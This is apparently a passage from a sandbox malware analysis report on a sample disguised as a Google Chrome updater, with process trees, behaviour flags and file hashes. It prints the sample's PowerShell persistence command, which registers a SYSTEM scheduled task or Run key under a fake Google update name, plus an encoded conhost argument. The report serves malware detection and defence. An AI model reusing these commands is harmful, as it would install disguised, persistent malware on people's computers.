- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4352
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3548
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:4528
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2392
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:780
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:1572
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:4928
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1316
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:2816
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 246KB
- SHA256 eb803e49810dc18eed7d9f0a07f72e2ef5511251e0891111f64915c6328aba46
- MD5 2ba08616fa5895a6b078e20ffe9b5ee7
- SHA1 0bb488df20423494aeaf6cf61dc653036dddb33f
- SHA512 8c6b892d136337c4d817201ecc08ae9695db646ec9dd15f2365185fd8cf8484c969a1cfe4ae7005ffad8fd1740355e9080053734b9c5d593dd65c5bb7dfc3a2c
- SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kM:rWVi46hyqG2ckwLxgajd0mAVwM
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 693KB
- SHA256 9d2d811e571e6e89fabf5de6dbc796d58ba6ae4eeb33a2ca9abd717bdb91d11f
- MD5 c20dec2811e39e1b3a18ab6df63f7af9
- SHA1 f173ee7c407296c462d4fcb4908fd3dd9e867260
- SHA512 6725ba7a38bc6fdae5556759f79dbc666f812605cfcffcdf47c220252387cc67296d4ea4f6fe8cf8a2e4e49eb80ebfc886978e6775e72e6ff7d07ce65edb1d56
- SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVbc+uxWV+M2CB3kNhd7iGS:rWVipGdVZjdqVC5jd88FC3bc+uxWV+iv
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Libs\g.log
- Size 226B
- SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
- MD5 fdba80d4081c28c65e32fff246dc46cb
- SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
- SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
- MD5 6d42b6da621e8df5674e26b799c8e2aa
- SHA1 ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
- SHA512 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 0fe043e925e73fa82b319b13b93bf563834e56d520a3c793c78655c8988b439d
- MD5 04dab1e7226930c3346286e214d84945
- SHA1 86718b6314c8e64616e9694736da495d3e2ae4be
- SHA512 98e153baebbac0d5d20468e6abe70bb5dd7723bc5a03ae6164cb48e4921e2fb910cfb36bdb63c0ca18746bc9839d50cc353d092f98ac50739c108b35b3fe78a0
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xo45xzye.jsg.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 4KB
- SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
- MD5 bdb25c22d14ec917e30faf353826c5de
- SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
- SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
- SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
- MD5 b42c70c1dbf0d1d477ec86902db9e986
- SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
- SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
- MD5 SHA1 SHA512